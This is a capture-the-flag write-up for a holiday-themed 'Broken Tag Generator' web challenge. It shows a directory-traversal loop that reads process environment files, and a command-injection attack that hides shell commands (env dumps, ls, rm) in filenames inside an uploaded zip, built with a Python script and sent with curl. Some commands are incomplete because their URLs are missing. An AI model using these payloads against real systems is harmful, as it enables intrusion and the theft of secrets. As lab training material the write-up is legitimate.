Skip to content

8. Broken Tag Generator


Noel Boetie in the Wrapping Room

Welcome to the Wrapping Room, Santa!

The tag generator is acting up.

I feel like the issue has something to do with weird files being uploaded.

Can you help me figure out what's wrong?

Holly Evergreen in the Kitchen

I wonder, could we figure out the problem with the Tag Generator if we can get the source code?

Can you figure out the path to the script?

I've discovered that enumerating all endpoints is a really good idea to understand an application's functionality.

Sometimes I find the Content-Type header hinders the browser more than it helps.

If you find a way to execute code blindly, maybe you can redirect to a file then download that file?




The Tag Generator can be accessed at


The first step is to review the html and javascript that the site is using. A review of revealed a few end points: * line 122 - /save * line 128 - /share?id=${} * line 328 - /upload

The next step was to play with the Tag Generator to see what happens. When an image is uploaded using the "Select file(s)" button:

Select file(s)

then the following is seen in the Web Development tools console:

image url


As id seems to be set to a file name perhaps it could lead to a Local File Inclusion (LFI) attack.

Try curl -s | head

directory traversal POC

This means that any file that the account that the web server is running as can be read.

There are 2 ways to access the required information, the value of the environment variable GREETZ.

Local file Inclusion

The attack relies on knowing that in the Linux filesystem there is a special directory called /proc. This special filesystem, procfs contains information about the system and the processes running on it. For each process there is an environ file, /proc/<pid>/environ, that contains details of the environment variables that are set for the process. If the environment variable, GREETZ, is set in a process that the web server account can access the the value can be determined.

To following command was created to test this. It was assumed that the maximum process ID would be 65535.

for i in `seq 1 65536`
  out=$(curl -s${i}/environ|strings| grep "GREETZ")
  if [[ -n "$out" ]]; then
    echo "PID: $i"
    echo "Output: $out"
The response to curl has to be passed to strings because of the binary nature of the data returned. strings helps to format the data one variable per line.

LFI result

Remote Code Execution

This attack starts by retrieving the Ruby-on-Rails application file /app/lib/app.rb as is disclosed in the error messages, such as the one below:

error message

Examination of this file shows that Jack Frost has removed some input checking that will help to exploit the application.

At lines 50 - 53

      # I wonder what this will do? --Jack
      # if !~ /^[a-zA-Z0-9._-]+$/
      #   raise 'Invalid filename! Filenames may contain letters, numbers, period, underscore, and hyphen'
      # end

At lines 160 - 163

      # Validation is boring! --Jack
      # if params['id'] !~ /^[a-zA-Z0-9._-]+$/
      #   return 400, 'Invalid id! id may contain letters, numbers, period, underscore, and hyphen'
      # end

The line that is going to be exploited is line 78:

if !system("convert -resize 800x600\\> -quality 75 '#{ filename }' '#{ out_path }'")

as the code no longer sanitises the value of filename.

The command that needs to be constructed is like:

if !system("convert -resize 800x600\\> -quality 75 ''; env > /send/output/to/file;.png'' '#{ out_path }'")

There is still a check in the code to ensure that the file name ends with jpg, jpeg or png:

At line 95:

elsif filename.downcase.end_with?('jpg') || filename.downcase.end_with?('jpeg') || filename.downcase.end_with?('png')

This needs to be bypassed.

After some attempts to complete the RCE attack by uploading oddly named files, it was determined that using a zip file would be the best approach.

A blank png image was created that could be added to a zip file. Then the following code was used so that the file name could be controlled.


from zipfile import ZipFile
import datetime


zf = ZipFile(myZipFile, mode='w')
    zf.write('my_image.png', arcname='fred\'; env > 0123456789fred01234567889fred;\'.png')

# opening the zip file in READ mode 
with ZipFile(myZipFile, 'r') as zip: 
    for info in zip.infolist(): 
        print('\tModified:\t' + str(datetime.datetime(*info.date_time))) 
        print('\tSystem:\t\t' + str(info.create_system) + '(0 = Windows, 3 = Unix)') 
        print('\tZIP version:\t' + str(info.create_version)) 
        print('\tCompressed:\t' + str(info.compress_size) + ' bytes') 
        print('\tUncompressed:\t' + str(info.file_size) + ' bytes') 

A simplified version of app.rb was created to test this approach:

test output

It is possible to make the command anything that does not involve the '/' character as otherwise the zip extraction will fail and '/' is not valid in a filename as it is a directory separator.

The output file name is 0123456789fred01234567889fred. This filename was chosen so that there was a good chance that it would be unique.

The execution of the attack was:

RCE attack

For clarity the commands were:

curl -F "my_file[]"
curl -s

The GREETZ environment variable can be seen in the output above and is JackFrostWasHere

The first curl command uploads the malicious zip file. The second curl command downloads the result.

It is possible to run multiple commands by adding multiple 'files' to the zip file.

    zf.write('my_image.png', arcname='fred\'; env > 0123456789fred01234567889fred;\'.png')
    zf.write('my_image.png', arcname='fred\'; ls $APP_HOME >> 0123456789fred01234567889fred;\'.png')

And it is also possible to tidy up.

    zf.write('my_image.png', arcname='fred\'; rm 0123456789fred01234567889fred;\'.png')